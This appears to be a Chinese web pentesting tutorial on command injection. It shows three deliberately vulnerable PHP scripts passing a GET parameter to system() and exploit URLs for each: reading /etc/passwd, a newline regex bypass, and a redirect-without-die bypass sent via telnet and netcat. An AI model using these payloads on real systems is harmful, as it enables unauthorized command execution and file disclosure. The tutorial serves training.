web渗透测试(12):命令注入

命令注入来自缺乏对作为命令一部分使用的信息的过滤和编码。最简单的示例来自使用函数system(运行命令)并将HTTP参数作为此命令的参数。

有很多方法可以利用命令注入:

  • 例如,通过在反引号内注入命令 `id`
  • 通过将第一个命令的结果重定向到第二个命令 | id
  • 如果由第一个成功运行的另一个命令:&& id(其中,&需要被编码)
  • 通过运行另一个命令,如果第一个命令失败(并确保它执行:( error || id这里error只是导致错误)。

也可以使用相同的值技术来执行这种类型的检测。例如,您可以替换123为`echo 123`。反引号内的命令将首先执行,并返回与命令使用的完全相同的值。

您还可以使用基于时间的向量来检测这些类型的漏洞。您可以使用在服务器上处理需要时间的命令(存在拒绝服务的风险)。您还可以使用该命令sleep告诉服务器在继续之前等待一段时间。例如,使用sleep 10。

Example 1

<?php require_once("../header.php"); ?>
<pre>
<?php
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

第一个例子是一个简单的命令注入。开发人员没有执行任何输入验证,您可以在ip参数后直接注入命令。

基于上面提到的技术,您可以使用有效负载&& cat /etc/passwd( &需编码)来查看内容/etc/passwd。

http://192.168.1.10/commandexec/example1.php?ip=127.0.0.1%26%26%20cat%20/etc/passwd

Example 2

<?php require_once("../header.php"); ?>
<pre>
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

此示例验证提供的参数,但不正确。正如我们之前看到的SQL注入一样,使用的正则表达式是多行的。使用我们在SQL注入中看到的相同技术,您可以轻松获得代码执行。

这里的好处是你甚至不需要注入分隔符。您只需添加编码的新行(%0a)然后输入您的命令即可。例如:%0als /。

http://192.168.1.10/commandexec/example2.php?ip=127.0.0.1%0als%20/

Example 3

<?php require_once("../header.php"); ?>
<pre>
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
     header("Location: example3.php?ip=127.0.0.1");
  }
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

这个例子和前一个例子非常相似; 唯一的区别是开发人员没有正确停止脚本。 在PHP中,如果提供的某个值与某些安全性约束不匹配,则可以轻松简单地重定向用户,即调用函数header。 但是,即使浏览器将被重定向,此函数也不会停止执行流程,并且脚本仍将使用危险参数运行。 开发人员需要在调用函数header之后调用函数die,以避免此问题。

您无法在浏览器中轻松利用此漏洞,因为您的浏览器将遵循重定向,并且不会显示重定向页面。要利用此问题,您可以使用telnet:

% telnet vulnerable 80 
GET /commandexec/example3.php?ip=127.0.0.1|uname+-a HTTP/1.0

或使用netcat:

% echo "GET /commandexec/example3.php?ip=127.0.0.1|uname+-a HTTP/1.0\r\n" | nc vulnerable 80

如果仔细查看响应,您将看到获得302重定向,但您可以uname -a在响应正文中看到命令的结果。

微信公众号
手机浏览(小程序)
0
分享到:
没有账号? 忘记密码?